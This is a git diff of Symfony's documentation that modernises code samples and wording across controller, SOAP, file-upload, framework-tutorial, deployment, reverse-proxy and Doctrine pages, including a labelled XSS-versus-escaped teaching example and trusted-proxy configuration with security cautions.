@@ -189,5 +238,4 @@ If you want to know what type-hints to use for each service, see the
 
 .. _`Controller class source code`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Controller/AbstractController.php
 .. _`AbstractController`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Controller/AbstractController.php
-.. _`AbstractController`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Controller/AbstractController.php
 .. _`ADR pattern`: https://en.wikipedia.org/wiki/Action%E2%80%93domain%E2%80%93responder
diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
index 37c72316878..95c078700c1 100644
--- a/controller/soap_web_service.rst
+++ b/controller/soap_web_service.rst
@@ -38,8 +38,7 @@ In this case, the SOAP service will allow the client to call a method called
 
         public function hello($name)
         {
-
-            $message = new \Swift_Message('Hello Service')
+            $message = (new \Swift_Message('Hello Service'))
                 ->setTo('me@example.com')
                 ->setBody($name.' says hi!');
 
@@ -96,13 +95,13 @@ buffering the STDOUT and use ``ob_get_clean()`` to dump the echoed output
 into the content of the Response and clear the output buffer. Finally, you're
 ready to return the ``Response``.
 
-Below is an example calling the service using a `NuSOAP`_ client. This example
+Below is an example calling the service using a native `SoapClient`_ client. This example
 assumes that the ``index()`` method in the controller above is accessible via
 the route ``/soap``::
 
     $soapClient = new \SoapClient('http://example.com/index.php/soap?wsdl');
 
-    $result = $soapClient->call('hello', ['name' => 'Scott']);
+    $result = $soapClient->__soapCall('hello', ['name' => 'Scott']);
 
 An example WSDL is below.
 
@@ -170,3 +169,4 @@ An example WSDL is below.
 .. _`NuSOAP`: https://sourceforge.net/projects/nusoap
 .. _`output buffering`: https://www.php.net/manual/en/book.outcontrol.php
 .. _`Laminas SOAP`: https://docs.laminas.dev/laminas-soap/server/
+.. _`SoapClient`: https://www.php.net/manual/en/class.soapclient.php
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index edd17ed50dc..2abf1dc34c0 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -174,8 +174,8 @@ Finally, you need to update the code of the controller that handles the form::
                 return $this->redirectToRoute('app_product_list');
             }
 
-            return $this->render('product/new.html.twig', [
-                'form' => $form->createView(),
+            return $this->renderForm('product/new.html.twig', [
+                'form' => $form,
             ]);
         }
     }
diff --git a/create_framework/front_controller.rst b/create_framework/front_controller.rst
index e6a7293fa6b..8e4f1078ce2 100644
--- a/create_framework/front_controller.rst
+++ b/create_framework/front_controller.rst
@@ -38,7 +38,7 @@ Let's see it in action::
     // framework/index.php
     require_once __DIR__.'/init.php';
 
-    $name = $request->get('name', 'World');
+    $name = $request->attributes->get('name', 'World');
 
     $response->setContent(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8')));
     $response->send();
@@ -56,9 +56,9 @@ not feel like a good abstraction, does it? We still have the ``send()`` method
 for all pages, our pages do not look like templates and we are still not able
 to test this code properly.
 
-Moreover, adding a new page means that we need to create a new PHP script,
-which name is exposed to the end user via the URL
-(``http://127.0.0.1:4321/bye.php``): there is a direct mapping between the PHP
+Moreover, adding a new page means that we need to create a new PHP script, the name of
+which is exposed to the end user via the URL
+(``http://127.0.0.1:4321/bye.php``). There is a direct mapping between the PHP
 script name and the client URL. This is because the dispatching of the request
 is done by the web server directly. It might be a good idea to move this
 dispatching to our code for better flexibility. This can be achieved by routing
@@ -98,14 +98,14 @@ Such a script might look like the following::
 And here is for instance the new ``hello.php`` script::
 
     // framework/hello.php
-    $name = $request->get('name', 'World');
+    $name = $request->attributes->get('name', 'World');
     $response->setContent(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8')));
 
 In the ``front.php`` script, ``$map`` associates URL paths with their
 corresponding PHP script paths.
 
 As a bonus, if the client asks for a path that is not defined in the URL map,
-we return a custom 404 page; you are now in control of your website.
+we return a custom 404 page. You are now in control of your website.
 
 To access a page, you must now use the ``front.php`` script:
 
@@ -133,7 +133,7 @@ its sub-directories (only if needed -- see above tip).
     argument is the URL path you want to simulate.
 
 Now that the web server always accesses the same script (``front.php``) for all
-pages, we can secure the code further by moving all other PHP files outside the
+pages, we can secure the code further by moving all other PHP files outside of the
 web root directory:
 
 .. code-block:: text
@@ -151,7 +151,7 @@ web root directory:
         └── front.php
 
 Now, configure your web server root directory to point to ``web/`` and all
-other files won't be accessible from the client anymore.
+other files will no longer be accessible from the client.
 
 To test your changes in a browser (``http://localhost:4321/hello?name=Fabien``),
 run the :doc:`Symfony Local Web Server </setup/symfony_server>`:
@@ -166,7 +166,7 @@ run the :doc:`Symfony Local Web Server </setup/symfony_server>`:
     various PHP files; the changes are left as an exercise for the reader.
 
 The last thing that is repeated in each page is the call to ``setContent()``.
-We can convert all pages to "templates" by just echoing the content and calling
+We can convert all pages to "templates" by echoing the content and calling
 the ``setContent()`` directly from the front controller script::
 
     // example.com/web/front.php
@@ -185,10 +185,12 @@ the ``setContent()`` directly from the front controller script::
 
     // ...
 
-And the ``hello.php`` script can now be converted to a template::
+And the ``hello.php`` script can now be converted to a template:
+
+.. code-block:: html+php
 
     <!-- example.com/src/pages/hello.php -->
-    <?php $name = $request->get('name', 'World') ?>
+    <?php $name = $request->attributes->get('name', 'World') ?>
 
     Hello <?= htmlspecialchars($name, ENT_QUOTES, 'UTF-8') ?>
 
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index 99dff5c1faf..e6a5c8b2714 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -11,7 +11,7 @@ top of the Symfony components is better than creating a framework from scratch.
 
     We won't talk about the traditional benefits of using a framework when
     working on big applications with more than a few developers; the Internet
-    has already plenty of good resources on that topic.
+    already has plenty of good resources on that topic.
 
 Even if the "application" we wrote in the previous chapter was simple enough,
 it suffers from a few problems::
@@ -25,7 +25,7 @@ First, if the ``name`` query parameter is not defined in the URL query string,
 you will get a PHP warning; so let's fix it::
 
     // framework/index.php
-    $name = isset($_GET['name']) ? $_GET['name'] : 'World';
+    $name = $_GET['name'] ?? 'World';
 
     printf('Hello %s', $name);
 
@@ -33,7 +33,7 @@ Then, this *application is not secure*. Can you believe it? Even this simple
 snippet of PHP code is vulnerable to one of the most widespread Internet
 security issue, XSS (Cross-Site Scripting). Here is a more secure version::
 
-    $name = isset($_GET['name']) ? $_GET['name'] : 'World';
+    $name = $_GET['name'] ?? 'World';
 
     header('Content-Type: text/html; charset=utf-8');
 
@@ -141,7 +141,7 @@ Now, let's rewrite our application by using the ``Request`` and the
 
     $request = Request::createFromGlobals();
 
-    $name = $request->get('name', 'World');
+    $name = $request->attributes->get('name', 'World');
 
     $response = new Response(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8')));
 
@@ -265,7 +265,7 @@ So, the ``getClientIp()`` method works securely in all circumstances. You can
 use it in all your projects, whatever the configuration is, it will behave
 correctly and safely. That's one of the goals of using a framework. If you were
 to write a framework from scratch, you would have to think about all these
-cases by yourself. Why not using a technology that already works?
+cases by yourself. Why not use a technology that already works?
 
 .. note::
 
diff --git a/create_framework/http_kernel_httpkernel_class.rst b/create_framework/http_kernel_httpkernel_class.rst
index 1cf76830abd..0f4e565b084 100644
--- a/create_framework/http_kernel_httpkernel_class.rst
+++ b/create_framework/http_kernel_httpkernel_class.rst
@@ -133,7 +133,7 @@ instead of a full Response object::
 
     class LeapYearController
     {
-        public function index(Request $request, $year)
+        public function index($year)
         {
             $leapYear = new LeapYear();
             if ($leapYear->isLeapYear($year)) {
diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index a5c46c8daaa..29ddcc9c124 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -16,7 +16,7 @@ goal by making our framework implement ``HttpKernelInterface``::
          */
         public function handle(
             Request $request,
-            $type = self::MASTER_REQUEST,
+            $type = self::MAIN_REQUEST,
             $catch = true
         );
     }
@@ -39,7 +39,7 @@ Update your framework so that it implements this interface::
 
         public function handle(
             Request $request,
-            $type = HttpKernelInterface::MASTER_REQUEST,
+            $type = HttpKernelInterface::MAIN_REQUEST,
             $catch = true
         ) {
             // ...
diff --git a/create_framework/introduction.rst b/create_framework/introduction.rst
index 1c068942110..d3574de4c94 100644
--- a/create_framework/introduction.rst
+++ b/create_framework/introduction.rst
@@ -62,9 +62,9 @@ Before You Start
 
 Reading about how to create a framework is not enough. You will have to follow
 along and actually type all the examples included in this tutorial. For that,
-you need a recent version of PHP (5.5.9 or later is good enough), a web server
+you need a recent version of PHP (7.4 or later is good enough), a web server
 (like Apache, nginx or PHP's built-in web server), a good knowledge of PHP and
-an understanding of Object Oriented programming.
+an understanding of Object Oriented Programming.
 
 Ready to go? Read on!
 
@@ -113,5 +113,5 @@ In the :doc:`next chapter </create_framework/http_foundation>`, we are going to
 introduce the HttpFoundation Component and see what it brings us.
 
 .. _`Symfony`: https://symfony.com/
-.. _`Composer`: https//getcomposer.org/
+.. _`Composer`: https://getcomposer.org/
 .. _`download and install Composer`: https://getcomposer.org/download/
diff --git a/create_framework/routing.rst b/create_framework/routing.rst
index d381daed2eb..f76167ec2fb 100644
--- a/create_framework/routing.rst
+++ b/create_framework/routing.rst
@@ -30,7 +30,9 @@ framework just a little to make templates even more readable::
     $response->send();
 
 As we now extract the request query parameters, simplify the ``hello.php``
-template as follows::
+template as follows:
+
+.. code-block:: html+php
 
     <!-- example.com/src/pages/hello.php -->
     Hello <?= htmlspecialchars(isset($name) ? $name : 'World', ENT_QUOTES, 'UTF-8') ?>
@@ -161,7 +163,9 @@ There are a few new things in the code:
 
 * ``500`` errors are now managed correctly;
 
-* Request attributes are extracted to keep our templates simple::
+* Request attributes are extracted to keep our templates simple:
+
+.. code-block:: html+php
 
     // example.com/src/pages/hello.php
     Hello <?= htmlspecialchars($name, ENT_QUOTES, 'UTF-8') ?>
diff --git a/create_framework/templating.rst b/create_framework/templating.rst
index 4ae746e1c91..972f2a1f982 100644
--- a/create_framework/templating.rst
+++ b/create_framework/templating.rst
@@ -145,7 +145,8 @@ framework does not need to be modified in any way, create a new
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing;
 
-    function is_leap_year($year = null) {
+    function is_leap_year($year = null)
+    {
         if (null === $year) {
             $year = date('Y');
         }
diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index a4d6d401c33..a18f3750363 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -16,22 +16,22 @@ using `PHPUnit`_. Create a PHPUnit configuration file in
     <?xml version="1.0" encoding="UTF-8"?>
     <phpunit
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/5.1/phpunit.xsd"
+        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/9.3/phpunit.xsd"
         backupGlobals="false"
         colors="true"
         bootstrap="vendor/autoload.php"
     >
+        <coverage processUncoveredFiles="true">
+            <include>
+                <directory suffix=".php">./src</directory>
+            </include>
+        </coverage>
+
         <testsuites>
             <testsuite name="Test Suite">
                 <directory>./tests</directory>
             </testsuite>
         </testsuites>
-
-        <filter>
-            <whitelist processUncoveredFilesFromWhitelist="true">
-                <directory suffix=".php">./src</directory>
-            </whitelist>
-        </filter>
     </phpunit>
 
 This configuration defines sensible defaults for most PHPUnit settings; more
@@ -167,7 +167,7 @@ Response::
             ->will($this->returnValue([
                 '_route' => 'is_leap_year/{year}',
                 'year' => '2000',
-                '_controller' => [new LeapYearController(), 'index']
+                '_controller' => [new LeapYearController(), 'index'],
             ]))
         ;
         $matcher
@@ -215,6 +215,6 @@ Symfony code.
 Now that we are confident (again) about the code we have written, we can
 safely think about the next batch of features we want to add to our framework.
 
-.. _`PHPUnit`: https://phpunit.de/manual/current/en/index.html
-.. _`test doubles`: https://phpunit.de/manual/current/en/test-doubles.html
+.. _`PHPUnit`: https://phpunit.readthedocs.io/en/stable/
+.. _`test doubles`: https://phpunit.readthedocs.io/en/stable/test-doubles.html
 .. _`XDebug`: https://xdebug.org/
diff --git a/deployment.rst b/deployment.rst
index 36854742dcc..1de29ae5b16 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -7,9 +7,9 @@ How to Deploy a Symfony Application
 ===================================
 
 Deploying a Symfony application can be a complex and varied task depending on
-the setup and the requirements of your application. This article is not a step-
-by-step guide, but is a general list of the most common requirements and ideas
-for deployment.
+the setup and the requirements of your application. This article is not a
+step-by-step guide, but is a general list of the most common requirements and
+ideas for deployment.
 
 .. _symfony2-deployment-basics:
 
@@ -46,7 +46,7 @@ Basic File Transfer
 The most basic way of deploying an application is copying the files manually
 via FTP/SCP (or similar method). This has its disadvantages as you lack control
 over the system as the upgrade progresses. This method also requires you
-to take some manual steps after transferring the files (see `Common Post-Deployment Tasks`_)
+to take some manual steps after transferring the files (see `Common Deployment Tasks`_).
 
 Using Source Control
 ~~~~~~~~~~~~~~~~~~~~
@@ -58,7 +58,7 @@ system. When using Git, a common approach is to create a tag for each release
 and check out the appropriate tag on deployment (see `Git Tagging`_).
 
 This makes updating your files *easier*, but you still need to worry about
-manually taking other steps (see `Common Post-Deployment Tasks`_).
+manually taking other steps (see `Common Deployment Tasks`_).
 
 Using Platforms as a Service
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -80,9 +80,6 @@ Using Build Scripts and other Tools
 There are also tools to help ease the pain of deployment. Some of them have been
 specifically tailored to the requirements of Symfony.
 
-`EasyDeployBundle`_
-    A Symfony bundle that adds deploy tools to your application.
-
 `Deployer`_
     This is another native PHP rewrite of Capistrano, with some ready recipes for
     Symfony.
@@ -103,17 +100,43 @@ specifically tailored to the requirements of Symfony.
     `Symfony plugin`_ is a plugin to ease Symfony related tasks, inspired by `Capifony`_
     (which works only with Capistrano 2).
 
-Common Post-Deployment Tasks
-----------------------------
+.. _common-post-deployment-tasks:
+
+Common Deployment Tasks
+-----------------------
 
-After deploying your actual source code, there are a number of common things
-you'll need to do:
+Before and after deploying your actual source code, there are a number of common
+things you'll need to do:
 
 A) Check Requirements
 ~~~~~~~~~~~~~~~~~~~~~
 
-Use the ``check:requirements`` command to check if your server meets the
-:ref:`technical requirements for running Symfony applications <symfony-tech-requirements>`.
+There are some :ref:`technical requirements for running Symfony applications <symfony-tech-requirements>`.
+In your development machine, the recommended way to check these requirements is
+to use `Symfony CLI`_. However, in your production server you might prefer to
+not install the Symfony CLI tool. In those cases, install this other package in
+your application:
+
+.. code-block:: terminal
+
+    $ composer require symfony/requirements-checker
+
+Then, make sure that the checker is included in your Composer scripts:
+
+.. code-block:: json
+
+    {
+        "...": "...",
+
+        "scripts": {
+            "auto-scripts": {
+                "vendor/bin/requirements-checker": "php-script",
+                "...": "..."
+            },
+
+            "...": "..."
+        }
+    }
 
 .. _b-configure-your-app-config-parameters-yml-file:
 
@@ -213,7 +236,7 @@ are simple and more complex tools and one can make the deployment as easy
 
 Don't forget that deploying your application also involves updating any dependency
 (typically via Composer), migrating your database, clearing your cache and
-other potential things like pushing assets to a CDN (see `Common Post-Deployment Tasks`_).
+other potential things like pushing assets to a CDN (see `Common Deployment Tasks`_).
 
 Troubleshooting
 ---------------
@@ -252,8 +275,8 @@ Learn More
 .. _`Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4
 .. _`Platform.sh`: https://docs.platform.sh/frameworks/symfony.html
 .. _`Azure`: https://azure.microsoft.com/en-us/develop/php/
-.. _`fortrabbit`: https://help.fortrabbit.com/install-symfony-4-uni
-.. _`EasyDeployBundle`: https://github.com/EasyCorp/easy-deploy-bundle
+.. _`fortrabbit`: https://help.fortrabbit.com/install-symfony-5
 .. _`Clever Cloud`: https://www.clever-cloud.com/doc/php/tutorial-symfony/
 .. _`Symfony Cloud`: https://symfony.com/doc/master/cloud/intro.html
 .. _`Scalingo`: https://doc.scalingo.com/languages/php/symfony
+.. _`Symfony CLI`: https://symfony.com/download
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 12bf3f1cac1..5b12fb5e946 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -22,31 +22,93 @@ Solution: ``setTrustedProxies()``
 ---------------------------------
 
 To fix this, you need to tell Symfony which reverse proxy IP addresses to trust
-and what headers your reverse proxy uses to send information::
+and what headers your reverse proxy uses to send information:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            # the IP address (or range) of your proxy
+            trusted_proxies: '192.0.0.1,10.0.0.0/8'
+            # trust *all* "X-Forwarded-*" headers
+            trusted_headers: ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port', 'x-forwarded-prefix']
+            # or, if your proxy instead uses the "Forwarded" header
+            trusted_headers: ['forwarded']
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- the IP address (or range) of your proxy -->
+                <framework:trusted-proxies>192.0.0.1,10.0.0.0/8</framework:trusted-proxies>
+
+                <!-- trust *all* "X-Forwarded-*" headers -->
+                <framework:trusted-header>x-forwarded-for</framework:trusted-header>
+                <framework:trusted-header>x-forwarded-host</framework:trusted-header>
+                <framework:trusted-header>x-forwarded-proto</framework:trusted-header>
+                <framework:trusted-header>x-forwarded-port</framework:trusted-header>
+                <framework:trusted-header>x-forwarded-prefix</framework:trusted-header>
+
+                <!-- or, if your proxy instead uses the "Forwarded" header -->
+                <framework:trusted-header>forwarded</framework:trusted-header>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework
+                // the IP address (or range) of your proxy
+                ->trustedProxies('192.0.0.1,10.0.0.0/8')
+                // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers)
+                ->trustedHeaders(['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port', 'x-forwarded-prefix'])
+                // or, if your proxy instead uses the "Forwarded" header
+                ->trustedHeaders(['forwarded'])
+            ;
+        };
+
+.. deprecated:: 5.2
+
+    In previous Symfony versions, the above example used ``HEADER_X_FORWARDED_ALL``
+    to trust all "X-Forwarded-" headers, but that constant is deprecated since
+    Symfony 5.2 in favor of the individual ``HEADER_X_FORWARDED_*`` constants.
+
+.. caution::
+
+    Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
+    application to `HTTP Host header attacks`_. Make sure the proxy really
+    sends an ``x-forwarded-host`` header.
 
-    // public/index.php
-
-    // ...
-    $request = Request::createFromGlobals();
-
-    // tell Symfony about your reverse proxy
-    Request::setTrustedProxies(
-        // the IP address (or range) of your proxy
-        ['192.0.0.1', '10.0.0.0/8'],
+The Request object has several ``Request::HEADER_*`` constants that control exactly
+*which* headers from your reverse proxy are trusted. The argument is a bit field,
+so you can also pass your own value (e.g. ``0b00110``).
 
-        // trust *all* "X-Forwarded-*" headers
-        Request::HEADER_X_FORWARDED_ALL
+.. versionadded:: 5.2
 
-        // or, if your proxy instead uses the "Forwarded" header
-        // Request::HEADER_FORWARDED
+    The feature to configure trusted proxies and headers with ``trusted_proxies``
+    and ``trusted_headers`` options was introduced in Symfony 5.2. In earlier
+    Symfony versions you needed to use the ``Request::setTrustedProxies()``
+    method in the ``public/index.php`` file.
 
-        // or, if you're using AWS ELB
-        // Request::HEADER_X_FORWARDED_AWS_ELB
-    );
+.. caution::
 
-The Request object has several ``Request::HEADER_*`` constants that control exactly
-*which* headers from your reverse proxy are trusted. The argument is a bit field,
-so you can also pass your own value (e.g. ``0b00110``).
+    The "trusted proxies" feature does not work as expected when using the
+    `nginx realip module`_. Disable that module when serving Symfony applications.
 
 But what if the IP of my Reverse Proxy Changes Constantly!
 ----------------------------------------------------------
@@ -59,19 +121,16 @@ In this case, you'll need to - *very carefully* - trust *all* proxies.
    other than your load balancers. For AWS, this can be done with `security groups`_.
 
 #. Once you've guaranteed that traffic will only come from your trusted reverse
-   proxies, configure Symfony to *always* trust incoming request::
-
-       // public/index.php
+   proxies, configure Symfony to *always* trust incoming request:
 
-       // ...
-       Request::setTrustedProxies(
-           // trust *all* requests (the 'REMOTE_ADDR' string is replaced at
-           // run time by $_SERVER['REMOTE_ADDR'])
-           ['127.0.0.1', 'REMOTE_ADDR'],
+    .. code-block:: yaml
 
-           // if you're using ELB, otherwise use a constant from above
-           Request::HEADER_X_FORWARDED_AWS_ELB
-       );
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            # trust *all* requests (the 'REMOTE_ADDR' string is replaced at
+            # run time by $_SERVER['REMOTE_ADDR'])
+            trusted_proxies: '127.0.0.1,REMOTE_ADDR'
 
 That's it! It's critical that you prevent traffic from all non-trusted sources.
 If you allow outside traffic, they could "spoof" their true IP address and
@@ -87,6 +146,12 @@ other information.
         # .env
         TRUSTED_PROXIES=127.0.0.1,REMOTE_ADDR
 
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            trusted_proxies: '%env(TRUSTED_PROXIES)%'
 
 If you are also using a reverse proxy on top of your load balancer (e.g.
 `CloudFront`_), calling ``$request->server->get('REMOTE_ADDR')`` won't be
@@ -98,11 +163,13 @@ trusted proxies.
 Custom Headers When Using a Reverse Proxy
 -----------------------------------------
 
-Some reverse proxies (like `CloudFront`_ with ``CloudFront-Forwarded-Proto``) may force you to use a custom header.
-For instance you have ``Custom-Forwarded-Proto`` instead of ``X-Forwarded-Proto``.
+Some reverse proxies (like `CloudFront`_ with ``CloudFront-Forwarded-Proto``)
+may force you to use a custom header. For instance you have
+``Custom-Forwarded-Proto`` instead of ``X-Forwarded-Proto``.
 
-In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value of
-``Custom-Forwarded-Proto`` early enough in your application, i.e. before handling the request::
+In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value
+of ``Custom-Forwarded-Proto`` early enough in your application, i.e. before
+handling the request::
 
     // public/index.php
 
@@ -114,3 +181,5 @@ In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value
 .. _`security groups`: https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-security-groups.html
 .. _`CloudFront`: https://en.wikipedia.org/wiki/Amazon_CloudFront
 .. _`CloudFront IP ranges`: https://ip-ranges.amazonaws.com/ip-ranges.json
+.. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
+.. _`nginx realip module`: http://nginx.org/en/docs/http/ngx_http_realip_module.html
diff --git a/docs.json b/docs.json
deleted file mode 100644
index 70c1a299f0e..00000000000
--- a/docs.json
+++ /dev/null
@@ -1,3 +0,0 @@
-{
-    "exclude": ["_build"]
-}
diff --git a/doctrine.rst b/doctrine.rst
index 2f7aef172ea..b2ac440d72a 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -46,12 +46,18 @@ The database connection information is stored as an environment variable called
     # customize this line!
     DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7"
 
+    # to use mariadb:
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=mariadb-10.5.8"
+
     # to use sqlite:
     # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"
-    
+
     # to use postgresql:
     # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=11&charset=utf8"
 
+    # to use oracle:
+    # DATABASE_URL="oci8://db_user:db_password@127.0.0.1:1521/db_name"
+
 .. caution::
 
     If the username, password, host or database name contain any character considered
@@ -227,9 +233,11 @@ already installed:
 
 If everything worked, you should see something like this:
 
+.. code-block:: text
+
     SUCCESS!
 
-    Next: Review the new migration "migrations/Version20180207231217.php"
+    Next: Review the new migration "migrations/Version20211116204726.php"
     Then: Run the migration with php bin/console doctrine:migrations:migrate
 
 If you open this file, it contains the SQL needed to update your database! To run
@@ -277,20 +285,20 @@ methods:
 
 .. code-block:: diff
 
-    // src/Entity/Product.php
-    // ...
+      // src/Entity/Product.php
+      // ...
 
-    class Product
-    {
-        // ...
+      class Product
+      {
+          // ...
 
     +     /**
     +      * @ORM\Column(type="text")
     +      */
     +     private $description;
 
-        // getDescription() & setDescription() were also added
-    }
+          // getDescription() & setDescription() were also added
+      }
 
 The new property is mapped, but it doesn't exist yet in the ``product`` table. No
 problem! Generate a new migration:
@@ -361,11 +369,9 @@ and save it::
         /**
          * @Route("/product", name="create_product")
          */
-        public function createProduct(): Response
+        public function createProduct(ManagerRegistry $doctrine): Response
         {
-            // you can fetch the EntityManager via $this->getDoctrine()
-            // or you can add an argument to the action: createProduct(EntityManagerInterface $entityManager)
-            $entityManager = $this->getDoctrine()->getManager();
+            $entityManager = $doctrine->getManager();
 
             $product = new Product();
             $product->setName('Keyboard');
@@ -400,7 +406,11 @@ Take a look at the previous example in more detail:
 
 .. _doctrine-entity-manager:
 
-* **line 18** The ``$this->getDoctrine()->getManager()`` method gets Doctrine's
+* **line 14** The ``ManagerRegistry $doctrine`` argument tells Symfony to
+  :ref:`inject the Doctrine service <services-constructor-injection>` into the
+  controller method.
+
+* **line 16** The ``$doctrine->getManager()`` method gets Doctrine's
   *entity manager* object, which is the most important object in Doctrine. It's
   responsible for saving objects to, and fetching objects from, the database.
 
@@ -499,46 +509,58 @@ Fetching an object back out of the database is even easier. Suppose you want to
 be able to go to ``/product/1`` to see your new product::
 
     // src/Controller/ProductController.php
+    namespace App\Controller;
+
+    use App\Entity\Product;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    /**
-     * @Route("/product/{id}", name="product_show")
-     */
-    public function show($id)
+    class ProductController extends AbstractController
     {
-        $product = $this->getDoctrine()
-            ->getRepository(Product::class)
-            ->find($id);
-
-        if (!$product) {
-            throw $this->createNotFoundException(
-                'No product found for id '.$id
-            );
-        }
+        /**
+         * @Route("/product/{id}", name="product_show")
+         */
+        public function show(ManagerRegistry $doctrine, int $id): Response
+        {
+            $product = $doctrine->getRepository(Product::class)->find($id);
+
+            if (!$product) {
+                throw $this->createNotFoundException(
+                    'No product found for id '.$id
+                );
+            }
 
-        return new Response('Check out this great product: '.$product->getName());
+            return new Response('Check out this great product: '.$product->getName());
 
-        // or render a template
-        // in the template, print things with {{ product.name }}
-        // return $this->render('product/show.html.twig', ['product' => $product]);
+            // or render a template
+            // in the template, print things with {{ product.name }}
+            // return $this->render('product/show.html.twig', ['product' => $product]);
+        }
     }
 
 Another possibility is to use the ``ProductRepository`` using Symfony's autowiring
 and injected by the dependency injection container::
 
     // src/Controller/ProductController.php
-    // ...
+    namespace App\Controller;
+
+    use App\Entity\Product;
     use App\Repository\ProductRepository;
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
 
-    /**
-     * @Route("/product/{id}", name="product_show")
-     */
-    public function show($id, ProductRepository $productRepository)
+    class ProductController extends AbstractController
     {
-        $product = $productRepository
-            ->find($id);
+        /**
+         * @Route("/product/{id}", name="product_show")
+         */
+        public function show(int $id, ProductRepository $productRepository): Response
+        {
+            $product = $productRepository
+                ->find($id);
 
-        // ...
+            // ...
+        }
     }
 
 Try it out!
@@ -551,7 +573,7 @@ job is to help you fetch entities of a certain class.
 
 Once you have a repository object, you have many helper methods::
 
-    $repository = $this->getDoctrine()->getRepository(Product::class);
+    $repository = $doctrine->getRepository(Product::class);
 
     // look for a single Product by its primary key (usually "id")
     $product = $repository->find($id);
@@ -604,15 +626,23 @@ for you automatically! First, install the bundle in case you don't have it:
 Now, simplify your controller::
 
     // src/Controller/ProductController.php
+    namespace App\Controller;
+
     use App\Entity\Product;
+    use App\Repository\ProductRepository;
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
 
-    /**
-     * @Route("/product/{id}", name="product_show")
-     */
-    public function show(Product $product)
+    class ProductController extends AbstractController
     {
-        // use the Product!
-        // ...
+        /**
+         * @Route("/product/{id}", name="product_show")
+         */
+        public function show(Product $product): Response
+        {
+            // use the Product!
+            // ...
+        }
     }
 
 That's it! The bundle uses the ``{id}`` from the route to query for the ``Product``
@@ -626,26 +656,37 @@ Updating an Object
 Once you've fetched an object from Doctrine, you interact with it the same as
 with any PHP model::
 
-    /**
-     * @Route("/product/edit/{id}")
-     */
-    public function update($id)
+    // src/Controller/ProductController.php
+    namespace App\Controller;
+
+    use App\Entity\Product;
+    use App\Repository\ProductRepository;
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
+
+    class ProductController extends AbstractController
     {
-        $entityManager = $this->getDoctrine()->getManager();
-        $product = $entityManager->getRepository(Product::class)->find($id);
+        /**
+         * @Route("/product/edit/{id}")
+         */
+        public function update(ManagerRegistry $doctrine, int $id): Response
+        {
+            $entityManager = $doctrine->getManager();
+            $product = $entityManager->getRepository(Product::class)->find($id);
 
-        if (!$product) {
-            throw $this->createNotFoundException(
-                'No product found for id '.$id
-            );
-        }
+            if (!$product) {
+                throw $this->createNotFoundException(
+                    'No product found for id '.$id
+                );
+            }
 
-        $product->setName('New product name!');
-        $entityManager->flush();
+            $product->setName('New product name!');
+            $entityManager->flush();
 
-        return $this->redirectToRoute('product_show', [
-            'id' => $product->getId()
-        ]);
+            return $this->redirectToRoute('product_show', [
+                'id' => $product->getId()
